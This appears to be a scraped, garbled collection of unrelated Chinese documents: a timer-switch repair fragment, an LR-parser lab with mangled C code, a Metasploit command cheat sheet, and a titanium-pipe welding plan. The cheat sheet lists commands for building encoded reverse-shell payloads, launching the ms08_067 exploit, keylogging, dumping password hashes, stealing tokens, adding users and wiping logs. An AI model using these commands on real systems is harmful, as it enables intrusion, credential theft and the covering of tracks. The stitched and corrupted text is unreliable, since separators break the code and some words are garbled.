@#@@#@ @#@ @#@ @#@查出后可用常见的2s8050晶体管更换,Q1也可用9013等普通小功率NPN管代换。
@#@继电器损坏后代换时应考虑负荷大小,最好用同型号代换。
@#@@#@ @#@ @#@ @#@时控开关正常工作时,电路关键点实测电压如图1中所标注,括号内为继电器释放(关态)时电压值。
@#@@#@ @#@@#@";i:
2;s:
7086:
"LR分析程序@#@LR分析程序@#@构造LR分析程序,利用它进行语法分析,判断给出的符号串是否为该文法识别的句子,了解LR分析方法是严格的从左向右扫描,和自底向上的语法分析方法。
@#@@#@1)实验原理@#@LR分析器由三个部分组成:
@#@@#@
(1)总控程序,也可以称为驱动程序。
@#@对所有的LR分析器总控程序都是相同的。
@#@@#@
(2)分析表:
@#@分析表又可以分为动作表(ACTION)和状态转换(GOTO)表两个部分,它们都可用二维数组表示。
@#@@#@(3)分析栈,包括文法符号栈和相应的状态栈,它们均是先进后出栈。
@#@@#@分析器的动作就是由栈顶状态和当前输入符号所决定。
@#@@#@LR分析器结构:
@#@@#@其中:
@#@SP为栈指针,S[i]为状态栈,X[i]为文法符号栈。
@#@状态转换表用GOTO[i,X]=j表示,规定当栈顶状态为i,遇到当前文法符号为X时应转向状态j,X为终结符或非终结符。
@#@@#@ACTION[i,a]规定了栈顶状态为i时遇到输入符号a应执行。
@#@动作有四种可能:
@#@@#@
(1)移进:
@#@@#@action[i,a]=Sj:
@#@状态j移入到状态栈,把a移入到文法符号栈,其中i,j表示状态号。
@#@@#@
(2)归约:
@#@@#@action[i,a]=rk:
@#@当在栈顶形成句柄时,则归约为相应的非终结符A,即文法中有A-B的产生式,若B的长度为R(即|B|=R),则从状态栈和文法符号栈中自顶向下去掉R个符号,即栈指针SP减去R,并把A移入文法符号栈内,j=GOTO[i,A]移进状态栈,其中i为修改指针后的栈顶状态。
@#@@#@(3)接受acc:
@#@@#@当归约到文法符号栈中只剩文法的开始符号S时,并且输入符号串已结束即当前输入符是'@#@#'@#@,则为分析成功。
@#@@#@(4)报错:
@#@@#@当遇到状态栈顶为某一状态下出现不该遇到的文法符号时,则报错,说明输入端不是该文法能接受的符号串。
@#@@#@2)、实验过程@#@
(1):
@#@数据结构:
@#@@#@动作表(ACTION)和状态转换(GOTO)表用二维数组表示.@#@
(2)).使用文法@#@E->@#@E+T@#@E->@#@T@#@T->@#@T*F@#@T->@#@F@#@F->@#@(E)@#@F->@#@i@#@3)程序思路@#@
(1)建立LR分析表@#@
(2)控制部分:
@#@从键盘输入一个表达式符号串;@#@@#@利用LR分析算法进行表达式处理:
@#@根据LR分析表对表达式符号串进行堆栈(或其他)操作,输出分析结果,如果遇到错误则显示错误信息。
@#@@#@(3)主函数:
@#@从键盘输入一个表达式符号串进行识别;@#@@#@参考程序@#@#include<@#@stdio.h>@#@@#@#include<@#@string.h>@#@@#@char*action[12][6]={"@#@S5#"@#@,NULL,NULL,"@#@S4#"@#@,NULL,NULL,/*ACTION表*/@#@NULL,"@#@S6#"@#@,NULL,NULL,NULL,"@#@acc"@#@,@#@NULL,"@#@r2#"@#@,"@#@S7#"@#@,NULL,"@#@r2#"@#@,"@#@r2#"@#@,@#@NULL,"@#@r4#"@#@,"@#@r4#"@#@,NULL,"@#@r4#"@#@,"@#@r4#"@#@,@#@"@#@S5#"@#@,NULL,NULL,"@#@S4#"@#@,NULL,NULL,@#@NULL,"@#@r6#"@#@,"@#@r6#"@#@,NULL,"@#@r6#"@#@,"@#@r6#"@#@,@#@"@#@S5#"@#@,NULL,NULL,"@#@S4#"@#@,NULL,NULL,@#@"@#@S5#"@#@,NULL,NULL,"@#@S4#"@#@,NULL,NULL,@#@NULL,"@#@S6#"@#@,NULL,NULL,"@#@S11#"@#@,NULL,@#@NULL,"@#@r1#"@#@,"@#@S7#"@#@,NULL,"@#@r1#"@#@,"@#@r1#"@#@,@#@NULL,"@#@r3#"@#@,"@#@r3#"@#@,NULL,"@#@r3#"@#@,"@#@r3#"@#@,@#@NULL,"@#@r5#"@#@,"@#@r5#"@#@,NULL,"@#@r5#"@#@,"@#@r5#"@#@};@#@@#@intgoto1[12][3]={1,2,3,/*GOTO表*/@#@0,0,0,@#@0,0,0,@#@0,0,0,@#@8,2,3,@#@0,0,0,@#@0,9,3,@#@0,0,10,@#@0,0,0,@#@0,0,0,@#@0,0,0,@#@0,0,0};@#@@#@charvt[6]={'@#@i'@#@,'@#@+'@#@,'@#@*'@#@,'@#@('@#@,'@#@)'@#@,'@#@#'@#@};@#@/*存放终结符*/@#@charvn[3]={'@#@E'@#@,'@#@T'@#@,'@#@F'@#@};@#@/*存放非终结符*/@#@char*LR[7]={"@#@S->@#@E#"@#@,"@#@E->@#@E+T#"@#@,"@#@E->@#@T#"@#@,"@#@T->@#@T*F#"@#@,"@#@T->@#@F#"@#@,"@#@F->@#@(E)#"@#@,"@#@F->@#@i#"@#@};@#@/*存放产生式*/@#@inta[10];@#@@#@charb[10],c[10],c1;@#@@#@inttop,m,n;@#@@#@intjudge()@#@{intg,h,i,j,k,l,p,y,z,count;@#@@#@charx,copy[10],copy1[10];@#@@#@length;@#@top=0;@#@@#@a[0]=0;@#@y=a[0];@#@b[0]='@#@#'@#@;@#@@#@count=0;@#@z=0;@#@@#@printf("@#@步骤\t状态栈\t\t符号栈\t\t输入串\t\tACTION\tGOTO\n"@#@);@#@@#@do{@#@y=z;@#@/*y,z指向状态栈栈顶*/@#@g=top;@#@k=0;@#@@#@x=c[top];@#@@#@count++;@#@@#@printf("@#@%d\t"@#@,count);@#@@#@m=0;@#@@#@while(m<@#@=top){/*输出状态栈*/@#@printf("@#@%d"@#@,a[m]);@#@@#@m=m+1;@#@@#@}@#@printf("@#@\t\t"@#@);@#@@#@n=0;@#@@#@while(n<@#@=top){/*输出符号栈*/@#@printf("@#@%c"@#@,b[n]);@#@@#@n=n+1;@#@@#@}@#@printf("@#@\t\t"@#@);@#@@#@while(g<@#@=length){/*输出输入串*/@#@printf("@#@%c"@#@,c[g]);@#@@#@g=g+1;@#@@#@}@#@printf("@#@\t\t"@#@);@#@@#@j=0;@#@@#@while(j<@#@6&@#@&@#@x!
@#@=vt[j])j++;@#@@#@if(j>@#@=6){@#@printf("@#@error\n"@#@);@#@@#@return0;@#@@#@}@#@if(action[y][j]==NULL){@#@printf("@#@error\n"@#@);@#@@#@return0;@#@@#@}@#@strcpy(copy,action[y][j]);@#@@#@if(copy[0]=='@#@a'@#@)return1;@#@@#@if(copy[0]=='@#@S'@#@){/*处理移进*/@#@z=copy[1]-'@#@0'@#@;@#@@#@if(copy[2]!
@#@='@#@#'@#@)z=z*10+copy[2]-'@#@0'@#@;@#@@#@top=top+1;@#@@#@a[top]=z;@#@@#@b[top]=x;@#@@#@i=0;@#@@#@while(copy[i]!
@#@='@#@#'@#@){@#@printf("@#@%c"@#@,copy[i]);@#@@#@i++;@#@@#@}@#@printf("@#@\n"@#@);@#@@#@}@#@if(copy[0]=='@#@r'@#@){/*处理归约*/@#@i=0;@#@@#@while(copy[i]!
@#@='@#@#'@#@){@#@printf("@#@%c"@#@,copy[i]);@#@@#@i++;@#@@#@}@#@h=copy[1]-'@#@0'@#@;@#@@#@strcpy(copy1,LR[h]);@#@@#@while(copy1[0]!
@#@=vn[k])k++;@#@@#@l=strlen(LR[h])-4;@#@@#@top=top-l+1;@#@@#@y=a[top-1];@#@@#@p=goto1[y][k];@#@@#@a[top]=p;@#@@#@b[top]=copy1[0];@#@@#@z=p;@#@@#@printf("@#@\t"@#@);@#@@#@printf("@#@%d\n"@#@,p);@#@@#@}@#@}while
(1);@#@@#@}@#@voidmain(){@#@inti;@#@length=0;@#@@#@printf("@#@请输入表达式\n"@#@);@#@@#@do{@#@scanf("@#@%c"@#@,&@#@c1);@#@@#@c[length]=c1;@#@@#@length=length+1;@#@@#@}while(c1!
@#@='@#@#'@#@);@#@@#@i=judge();@#@@#@if(i==1)printf("@#@acc\n"@#@);@#@@#@}@#@";i:
3;s:
12831:
"metasploit命令集精编版@#@MetasploitFramework命令汇总@#@一、msfconsole@#@?
@#@帮助菜单@#@back从当前环境返回@#@banner显示一个MSFbanner@#@cd切换目录@#@color颜色转换@#@connect连接一个主机@#@exit退出MSF@#@help帮助菜单@#@info显示一个或多个模块的信息@#@irb进入irb脚本模式@#@jobs显示和管理作业@#@kill杀死一个作业@#@load加载一个插件@#@loadpath在一个路径搜索并加载模块@#@quit退出MSF@#@resource运行存储在一个文件中的命令@#@route查看一个会话的路由信息@#@save保存动作@#@search搜索模块名和描述@#@set给一个变量赋值@#@setg把一个值赋给全局变量@#@show显示所给类型的模块,或所有模块@#@sleep在限定的秒数内什么也不做@#@unload卸载一个模块@#@unset解除一个或多个变量@#@unsetg解除一个或多个全局变量@#@use通过名称选择一个模块@#@version显示MSF和控制台库版本号@#@@#@二、database@#@db_add_host添加一个或多个主机到数据库@#@db_add_note添加一个注释到主机@#@db_add_port添加一个端口到主机@#@db_connect连接一个存在的数据库@#@db_create创建一个新的数据库实例@#@db_del_host从数据库删除一个或多个主机@#@db_del_port从数据库删除一个端口@#@db_destroy删除一个存在的数据库@#@db_disconnect断开与当前数据库实例的连接@#@db_driver指定一个数据库驱动@#@db_hosts列出数据库中的所有主机@#@db_nmap执行Nmap并记录输出@#@db_notes列出数据库中的所有注释@#@db_services列出数据库中的所有服务@#@db_vulns列出数据库中的所有漏洞@#@db_workspace转换数据库工作区@#@db_import_ip_list引入一个IP列表文件@#@db_import_amap_mlog引入一个THC-Amap扫描结果文件(-o-m)@#@db_import_nessus_nbe引入一个Nessus扫描结果文件(NBE)@#@db_import_nessus_xml引入一个Nessus扫描结果文件@#@db_import_nmap_xml引入一个Nmap扫描结果文件(-oX)@#@db_autopwn自动利用@#@@#@三、autopwn自动化攻击工具@#@db_autopwn@#@-h显示帮助@#@-t显示所有匹配的利用模块@#@-x选择基于漏洞的模块@#@-p选择基于开放端口的模块@#@-e运行所有匹配目标的利用程序@#@-r用一个反向连接的shell(reverse)@#@-b用一个随机端口的绑定shell(bind)@#@-q禁用利用程序输出@#@-l[范围]只对此范围内的主机进行利用@#@-X[范围]永远排除此范围内的主机@#@-PI[范围]只对开放这些的端口的主机进行利用@#@-PX[范围]永远排除对开放这些端口的主机@#@-m[范围]只运行名字与正则表达式匹配的模块@#@@#@四、Meterpreter@#@核心命令:
@#@@#@?
@#@帮助菜单@#@channel显示动态频道的信息@#@close关闭一个频道@#@exit终止meterpreter会话@#@help帮助菜单@#@interact频道交互@#@irbIRB脚本模式@#@migrate转移meterpreter到其他进程@#@quit终止meterpreter@#@read从频道读数据@#@run执行一个meterpreter脚本@#@use加载一个或多个扩展@#@write向频道写数据@#@@#@文件系统命令:
@#@@#@cat读取一个文件内容到屏幕@#@cd切换目录@#@del删除指定文件@#@download下载一个文件或目录@#@edit编辑一个文件@#@getlwd获取本地工作目录@#@getwd切换工作目录@#@lcd切换本地工作目录@#@lpwd打印本地工作目录@#@ls文件列表@#@mkdir创建目录@#@pwd打印当前工作目录@#@rm删除指定文件@#@rmdir远程目录@#@upload上传一个文件或目录@#@@#@网络命令:
@#@@#@ipconfig显示网络接口@#@portfwd发送一个本地端口到一个远程服务@#@route查看和修改路由表@#@@#@系统命令:
@#@@#@clearev清除事件日志@#@execute执行一个命令@#@getpid取得当前进程ID@#@getuid取得服务器运行用户@#@kill杀死一个进程@#@ps列出进程列表@#@reboot重启远程计算机@#@reg修改远程注册表@#@rev2self在远程机器调用RevertToSelf()@#@shell返回一个cmdshell@#@shutdown关闭远程系统@#@sysinfo取得远程系统的信息@#@@#@用户接口命令:
@#@@#@enumdesktops列出所有访问桌面和windows工作站@#@idletime远程用户闲置时间@#@keyscan_dump转存击键缓存@#@keyscan_start开始捕捉击键@#@keyscan_stop停止捕捉击键@#@setdesktop转移另一个工作站桌面@#@uictl用户接口控制@#@@#@密码数据库命令:
@#@@#@hashdumpSAM转储@#@@#@时间戳命令:
@#@@#@timestomp修改文件时间戳@#@Metasploit攻击命令大全@#@showexploits@#@列出metasploit框架中的所有渗透攻击模块。
@#@@#@showpayloads@#@列出metasploit框架中的所有攻击载荷。
@#@@#@showauxiliary@#@列出metasploit框架中的所有辅助攻击载荷。
@#@@#@searchname@#@查找metasploit框架中所有的渗透攻击和其他模块。
@#@@#@info@#@展示出制定渗透攻击或模块的相关信息。
@#@@#@usename@#@装载一个渗透攻击或模块。
@#@@#@LHOST@#@你本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用。
@#@@#@RHOST@#@远程主机或是目标主机。
@#@@#@setfunction@#@设置特定的配置参数(EG:
@#@设置本地或远程主机参数)。
@#@@#@setgfunction@#@以全局方式设置特定的配置参数(EG:
@#@设置本地或远程主机参数)。
@#@@#@showoptions@#@列出某个渗透攻击或模块中所有的配置参数。
@#@@#@showtargets@#@列出渗透攻击所有支持的目标平台。
@#@@#@settargetnum@#@指定你所知道的目标的操作系统以及补丁版本类型。
@#@@#@setpayloadname@#@指定想要使用的攻击载荷。
@#@@#@showadvanced@#@列出所有高级配置选项。
@#@@#@setautorunscriptmigrate-f.@#@在渗透攻击完成后,将自动迁移到另一个进程。
@#@@#@check@#@检测目标是否选定渗透攻击存在相应的安全漏洞。
@#@@#@exploit@#@执行渗透攻击或模块来攻击目标。
@#@@#@exploit-j@#@在计划任务下进行渗透攻击(攻击将在后台进行)。
@#@@#@exploit-z@#@渗透攻击完成后不与回话进行交互。
@#@@#@exploit-eencoder@#@制定使用的攻击载荷编码方式(EG:
@#@exploit-eshikata_ga_nai)。
@#@@#@exploit-h@#@列出exploit命令的帮助信息。
@#@@#@sessions-l@#@列出可用的交互会话(在处理多个shell时使用)。
@#@@#@sessions-l-v@#@列出所有可用的交互会话以及详细信息,EG:
@#@攻击系统时使用了哪个安全漏洞。
@#@@#@sessions-sscript@#@在所有活跃的metasploit会话中运行一个特定的metasploit脚本。
@#@@#@sessions-K@#@杀死所有活跃的交互会话。
@#@@#@sessions-ccmd@#@在所有活跃的metasploit会话上执行一个命令。
@#@@#@sessions-usessionID@#@升级一个普通的win32shell到metasploitshell。
@#@@#@db_createname@#@创建一个数据库驱动攻击所要使用的数据库(EG:
@#@db_createautopwn)。
@#@@#@db_connectname@#@创建并连接一个数据库驱动攻击所要使用的数据库(EG:
@#@db_connectuser:
@#@passwd@ip/sqlname)。
@#@@#@db_namp@#@利用Nmap并把扫描数据存储到数据库中(支持普通的nmap语句,EG:
@#@-sT-v-P0)。
@#@@#@db_autopwn-h@#@展示出db_autopwn命令的帮助信息。
@#@@#@db_autopwn-p-r-e@#@对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell。
@#@@#@db_destroy@#@删除当前数据库。
@#@@#@db_destroyuser:
@#@passwd@host:
@#@port/database@#@使用高级选项来删除数据库。
@#@@#@***metasploit命令***@#@help@#@打开meterpreter使用帮助。
@#@@#@runscriptname@#@运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。
@#@@#@sysinfo@#@列出受控主机的系统信息。
@#@@#@ls@#@列出目标主机的文件和文件夹信息。
@#@@#@usepriv@#@加载特权提升扩展模块,来扩展metasploit库。
@#@@#@ps@#@显示所有运行的进程以及相关联的用户账户。
@#@@#@migratePID@#@迁移到一个指定的进程ID(PID号可通过ps命令从主机上获得)。
@#@@#@useincognito@#@加载incognito功能(用来盗窃目标主机的令牌或假冒用户)@#@list_tokens-u@#@列出目标主机用户的可用令牌。
@#@@#@list_tokens-g@#@列出目标主机用户组的可用令牌。
@#@@#@impersonate_tokenDOMAIN_NAME\USERNAME@#@假冒目标主机上的可用令牌。
@#@@#@steal_tokenPID@#@盗窃给定进程的可用令牌并进行令牌假冒。
@#@@#@drop_token@#@停止假冒当前令牌。
@#@@#@getsystem@#@通过各种攻击向量来提升系统用户权限。
@#@@#@execute-fcmd.exe-i@#@执行cmd.exe命令并进行交互。
@#@@#@execute-fcmd.exe-i-t@#@以所有可用令牌来执行cmd命令并隐藏该进程。
@#@@#@rev2self@#@回到控制目标主机的初始用户账户下。
@#@@#@regcommand@#@在目标主机注册表中进行交互,创建,删除,查询等操作。
@#@@#@setdesktopnumber@#@切换到另一个用户界面(该功能基于那些用户已登录)。
@#@@#@screenshot@#@对目标主机的屏幕进行截图。
@#@@#@uploadfile@#@向目标主机上传文件。
@#@@#@downloadfile@#@从目标主机下载文件。
@#@@#@keyscan_start@#@针对远程目标主机开启键盘记录功能。
@#@@#@keyscan_dump@#@存储目标主机上捕获的键盘记录。
@#@@#@keyscan_stop@#@停止针对目标主机的键盘记录。
@#@@#@getprivs@#@尽可能多的获取目标主机上的特权。
@#@@#@uictlenablekeyboard/mouse@#@接管目标主机的键盘和鼠标。
@#@@#@background@#@将你当前的metasploitshell转为后台执行。
@#@@#@hashdump@#@导出目标主机中的口令哈希值。
@#@@#@usesniffer@#@加载嗅探模式。
@#@@#@sniffer_interfaces@#@列出目标主机所有开放的网络端口。
@#@@#@sniffer_dumpinterfaceIDpcapname@#@在目标主机上启动嗅探。
@#@@#@sniffer_startinterfaceIDpacket-buffer@#@在目标主机上针对特定范围的数据包缓冲区启动嗅探。
@#@@#@sniffer_statsinterfaceID@#@获取正在实施嗅探网络接口的统计数据。
@#@@#@sniffer_stopinterfaceID@#@停止嗅探。
@#@@#@add_userusernamepassword-hip@#@在远程目标主机上添加一个用户。
@#@@#@clearev@#@清楚目标主机上的日志记录。
@#@@#@timestomp@#@修改文件属性,例如修改文件的创建时间(反取证调查)。
@#@@#@reboot@#@重启目标主机。
@#@@#@***msfpayload命令***@#@msfpayload-h@#@msfpayload的帮助信息。
@#@@#@msfpayloadwindows/meterpreter/bind_tcpO@#@列出所有windows/meterpreter/bind_tcp下可用的攻击载荷的配置项(任何攻击载荷都是可用配置的)。
@#@@#@msfpayloadwindows/meterpreter/reverse_tcpLHOST=IPLPORT=PORTX>@#@payload.exe@#@创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.exe的windows下可执行程序。
@#@@#@msfpayloadwindows/meterpreter/reverse_tcpLHOST=IPLPORT=PORTR>@#@payload.raw@#@创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.raw,该文件后面的msffencode中使用。
@#@@#@msfpayloadwindows/meterpreter/reverse_tcpLPORT=PORTC>@#@payload.c@#@创建一个metasploit的reverse_tcp攻击载荷,导出C格式的shellcode。
@#@@#@msfpayloadwindows/meterpreter/reverse_tcpLPORT=PORTJ>@#@payload.java@#@创建一个metasploit的reverse_tcp攻击载荷,导出成以%u编码方式的javaScript语言字符串。
@#@@#@***msfencode命令***@#@mefencode-h@#@列出msfencode的帮助命令。
@#@@#@msfencode-l@#@列出所有可用的编码器。
@#@@#@msfencode-t(c,elf,exe,java,is_le,js_be,perl,raw,ruby,vba,vbs,loop_vbs,asp,war,macho)@#@显示编码缓冲区的格式。
@#@@#@msfencode-ipayload.raw-oencoded_payload.exe-ex86/shikata_ga_nai-c5-texe@#@使用shikata_ga_nai编码器对payload.raw文件进行5编码,然后导出一个名为encoded_payload.exe的文件。
@#@@#@msfpayloadwindows/meterpreter/bind_tcpLPORT=PORTR|msfencode-ex86/_countdown-c5-traw|msfencode-ex86/shikata_ga_nai-c5-texe-omulti-encoded_payload.exe@#@创建一个经过多种编码格式嵌套编码的攻击载荷。
@#@@#@msfencode-ipayload.rawBufferRegister=ESI-ex86/al破解a_mixed-tc@#@创建一个纯字母数字的shellcode,由ESI寄存器只想shellcode,以C语言格式输出。
@#@@#@***MSFcli命令***@#@msfcli|grepexploit@#@仅列出渗透攻击模块。
@#@@#@msfcli|grepexploit/windows@#@仅列出与windows相关的渗透攻击模块。
@#@@#@msfcliexploit/windows/smb/ms08_067_netapiPAYLOAD=windows/meterpreter/bind_tcpLPORT=PORTRHOST=IPE@#@对IP发起ms08_067_netapi渗透攻击,配置了bind_tcp攻击载荷,并绑定在PORT端口进行监听@#@";i:
4;s:
19033:
"OK钛管道施工技术方案@#@长春化工(盘锦)有限公司@#@100kt/a离子膜烧碱项目@#@钛管道施工方案@#@ @#@@#@编制:
@#@@#@审核:
@#@@#@审批:
@#@@#@ @#@@#@中国化学工程第六建设公司第五分公司@#@长春化工盘锦项目部@#@2012年10月10日@#@目录@#@1.工程概况3@#@2.编制依据3@#@3.施工方法及技术要求3@#@4.工程特点3@#@5.施工要求4@#@6.焊接工艺7@#@7.焊接检验8@#@8.施工质量控制9@#@9.安全管理及注意事项9@#@10.现场文明施工管理10@#@11.劳动力安排10@#@12.手段用料一览表11@#@13.施工机具、设备一览表12@#@ @#@@#@1.工程概况@#@本方案主要描述烧碱工程钛管道施工的一般程序和方法,钛管主要分布在电解厂房、脱氯框架、阳极液排放槽周围,现场管道安装密集、施工难度大;@#@另钛材的焊接工艺要求尽量减少现场固定口的焊接工作量,加上钛材焊接的特殊性,为保证焊接质量,特编制本方案。
@#@@#@2.编制依据@#@2.1长春化工盘锦烧碱项目施工图纸@#@2.2《工业金属管道工程施工及验收规范》GB50235-2010@#@2.3《现场设备、工业管道焊接工程施工及验收规范》GB50236-2011@#@2.4中国化学工程第六建设公司《钛管道焊接工艺评定、指导书》@#@2.5中国化学工程第六建设公司《钛管道施工工法》(部级)@#@2.6《钛管道施工及验收规范》SH3502-2000@#@3.施工方法及技术要求@#@3.1管道焊接施工工序流程如下:
@#@@#@施工准备—管材检验—下料—坡口加工—焊丝、坡口表面清理及坡口尺寸修整—焊件组对—焊接—焊缝外观、颜色检查—焊缝射线检查—管道试压--系统吹扫。
@#@@#@3.2焊接工艺评定及焊工考试@#@施工前按SH3502-2000《钛管道施工及验收规范》中的有关规定进行焊接工艺评定,并根据评定结果所编制的焊接工艺说明书、指导焊工严格进行培训,并进行焊工考试,考试合格方可上岗施焊。
@#@@#@4.工程特点@#@4.1钛材熔点高、导热性差,焊接易过热导致晶粒粗大,降低接头性能,应控制焊接线能量。
@#@@#@4.2钛管施工防护要求高,焊接采用高纯度惰性气体进行保护,施工现场保证清洁和无铁离子。
@#@@#@5.施工要求@#@5.1钛管道预制及安装要求@#@钛管道加工及安装要求与一般工艺管线的加工和安装要求基本相同,特别强调以下几点:
@#@@#@1)所有参与施工的人员必须仔细阅图,熟悉管线的走向、材料选用、连接方式、安装位置及各种技术要求。
@#@@#@2)管线在地面做好深度预制,核对施工图与施工现场后反复核算下料尺寸,避免预制尺寸与现场尺寸不符。
@#@所有与管廊碰头管线要现场实测。
@#@尽量减少高空固定焊,固定焊焊口要留有调整量,固定口所在位置要便于组对、焊接。
@#@@#@3)用于钛管砂轮及切割工具应使用专用的砂轮片和切割刀具,其砂轮片及刀口严禁与其它材质的共用。
@#@@#@4)管子切割表面不得过热变色,否则必须去掉污染层。
@#@@#@5)下好料的管线及预制完的管段需用适当的方法清楚标明区号、管号、下料长度并在图上作好标记。
@#@@#@6)管道安装过程中严禁损坏管道。
@#@吊装宜采用尼龙吊带和尼龙卡扣。
@#@吊装如果采用钢丝绳、卡扣,不得与管道直接接触,应用木板或石棉制品予以隔离。
@#@@#@7)管道与支、吊架,支座或钢结构之间应垫入石棉制品或其他对钛无害的材料。
@#@@#@8)有接地要求的管道,导线跨接或接地引线不得与钛管直接连接或焊接,应采用钛板过渡。
@#@@#@9)压缩机、泵等动设备配管须在设备找正、二次灌浆后进行;@#@静设备配管应在设备找正后进行。
@#@@#@5.2产品防护@#@钛管及其配件在开箱之后应妥善保管,避免与其它材料钢材接触;@#@预制阶段应严格按照施工要求进行,使用专用工具进行加工;@#@所有钛管在运输和现场安装之前,都必须清理干净,用塑料布缠绕包装;@#@阀门密封面表面涂清漆或黄油,用塑料盖或塑料布包扎保护。
@#@现场安装过程中,现场不得有对钛管产生破坏性的交叉作业。
@#@@#@5.2.1钛材特性@#@钛密度4.5g/cm3,熔点1668℃,在20℃其线胀系数8.4*10-6/℃,热导率16W/(m*k),钛及钛合金具有良好的耐腐蚀性能,在氧化性、中性及有氯离子的介质中,其耐蚀性均优于不锈钢。
@#@@#@纯钛是一种银白色金属,882℃以上为体心立方结构,称β钛,低于此温度为密排六方结构,称α钛。
@#@随钛中合金元素及杂质含量的不同,同素异形转变温度也不相同。
@#@@#@钛与氧的亲和力很大,甚至室温下都能形成一层致密的氧化膜。
@#@由于此膜的存在,钛具有良好的耐腐蚀性,钛中溶解的氧和氮能明显地起到强化作用,但塑性显著降低。
@#@氢会使钛及钛合金脆化。
@#@@#@工业纯钛由于塑性韧性好、耐蚀性、焊接性好和易于成形等优点,在化工领域得到广泛应用。
@#@@#@5.2.2钛材的焊接性@#@1)间隙元素沾污引起脆化@#@钛与氧在540℃以上生成的氧化膜不致密。
@#@钛在300℃以上快速吸氢,600℃以上快速吸氧,700℃以上快速吸氮。
@#@所以钛在焊接过程及焊后冷却过程中得不到有效保护,必然引起塑性下降,脆性增加。
@#@碳超过其溶解度时生成硬而脆的TiC,呈网状分布,容易引起裂纹。
@#@@#@措施:
@#@采用GTAW焊接方法,管道内部充氩保护,外部采用焊接拖罩对高温部位进行保护,焊接前清洁坡口和焊丝,焊接时提前充氩保护,焊接后继续充氩保护,直至焊缝冷却至400℃以下切断。
@#@@#@2)裂纹@#@由于钛及钛合金杂质含量少,故不易产生热裂纹,但如果焊丝质量不合格,特别是焊丝存在裂纹、夹层等缺陷,可能存在大量杂质时,则可能引起焊接热裂纹。
@#@@#@措施:
@#@检查母材坡口附近和焊丝有无裂纹和夹层,如有,清除后再进行焊接作业。
@#@@#@3)焊接保护不良会出现热应力裂纹和冷裂纹。
@#@@#@措施:
@#@加强焊接保护,防止有害杂质污染,焊前预热,焊后缓冷可以减少甚至消除热应力裂纹和冷裂纹。
@#@@#@4)热影响区可能出现延迟裂纹,焊接时由于熔池和低温区母材中的氢向热影响区扩散,产生TiC,在不利的应力条件下会引起裂纹。
@#@@#@措施:
@#@正常氢含量的钛及其合金焊接时一般不会产生TiC。
@#@注意焊接材料和母材的焊前清理。
@#@@#@5)气孔@#@气孔是焊接钛及钛合金时最常见的缺陷。
@#@一般有两类,焊缝中部气孔和熔合线气孔。
@#@在焊接线能量较大时气孔一般位于熔合线附近。
@#@焊缝气孔的形成原因主要在于焊接区,特别是对接端面被水分、油脂污染所致。
@#@@#@措施:
@#@1)保护气采用纯度为99.999%的氩气,。
@#@@#@2)焊丝不允许有裂纹、夹层。
@#@@#@3)焊件表面,特别是对接端面进行酸洗。
@#@酸洗液采用HF3%+HNO335%水溶液,酸洗后用净水冲洗,烘干。
@#@酸洗时间到焊接作业时间不超过2小时,期间不得受到污染。
@#@@#@4)对接坡口预留间隙0.2--0.5mm可明显减少气孔。
@#@@#@5.2.3焊接方法@#@焊接方法采用GTAW,直流正接。
@#@@#@5.2.3.1焊接材料:
@#@焊丝:
@#@ERTi-2@#@保护气:
@#@用纯度为99.999%的氩气,对焊接熔池及焊接接头内外表面温度高于400℃的区域均采用氩气保护。
@#@@#@5.2.4焊前准备@#@5.2.4.1坡口加工@#@管材切割后,采用砂轮机打磨出坡口,坡口角度为单边30°@#@±@#@2.5°@#@,钝边0.5—1.5mm。
@#@加工坡口不允许使母材产生过热变色。
@#@@#@5.2.4.2坡口及焊丝清理@#@坡口及其两侧各25mm以内的内外表面进行清理,清理程序如下:
@#@磨光机打磨—砂纸轮抛光—丙酮(或无水乙醇)清洗。
@#@清洗后不能直接进行焊接作业,待坡口端面晾干后方可以作业。
@#@如不能及时焊接,应用自粘胶带及塑料布对坡口予以保护。
@#@焊丝也用沾丙酮(或无水乙醇)的海绵擦拭干净。
@#@@#@5.2.4.3焊工用手套应洁净,用前也用无水乙醇(或丙酮)清洗,避免将棉质纤维附于焊件表面。
@#@@#@5.2.4.4管道焊接施工前,应根据焊接工艺评定编制焊接作业指导书,焊工应按指定的焊接作业指导书施焊。
@#@焊工必须持证上岗。
@#@@#@6.焊接工艺@#@6.1焊接时应在合格的工艺参数范围内选用小线能量焊接,层间温度不得高于200℃,防止高温时间过长晶粒长大。
@#@@#@6.2焊接作业均应在氩气保护下进行:
@#@采用焊炬喷嘴保护熔池,焊炬拖罩保护热态焊缝及近缝区的外表面,管内充氩保护焊缝及近缝区的内表面,具体措施:
@#@直径较大的管子焊接时,管内工作人员戴上防毒面具,手持保护罩对焊接熔池背面进行保护;@#@直径较小的管子或固定口焊接时,在管子内表面距离坡口150—300mm(根据可操作性取较大值)处采用可溶纸密封,再塞入一团可溶纸防止管内气压过大将密封可溶纸破坏,然后充入氩气将管内空气排净。
@#@焊接前必须充分预充氩气,焊后应延时充氩,以使高温区充分冷却,防止表面氧化。
@#@@#@6.3焊接过程中填充焊丝应始终保持在氩气的保护之下。
@#@熄弧后焊丝不得立即暴露在大气中,应在焊缝脱离保护时取出。
@#@焊丝如被污染、氧化变色时,污染部分应予以切除。
@#@@#@6.4不得在焊件表面引弧或试验电弧;@#@焊接中应确保起弧与收弧的质量;@#@收弧时应将弧坑填满,多层焊的层间接头应相互错开。
@#@@#@6.5除有特殊要求外,每条焊缝应一次连续焊完,如因故被迫中断,再焊时必须进行检查,确认无裂纹后方可继续施焊。
@#@@#@6.6如果焊接作业时不慎出现夹钨时,应停止焊接作业,用磨光机清除钨点,钨级端部重新打磨,达到要求后方可重新进行焊接作业,要求与开始焊接作业相同。
@#@@#@6.7定位焊应与正式的焊接工艺相同,定位焊的焊缝长度宜为10~15mm,高宜为2~4mm,且不超过壁厚的2/3。
@#@定位焊的焊缝不得有裂纹及其它缺陷,定位焊焊缝两端,宜磨成缓坡形。
@#@@#@6.8钛管焊接环境若出现下列情况之一,而未采取防护措施时应停止焊接:
@#@@#@1)风速≥2m/s@#@2)相对湿度大于90%@#@3)下雨下雪;@#@@#@4)温度低于0℃。
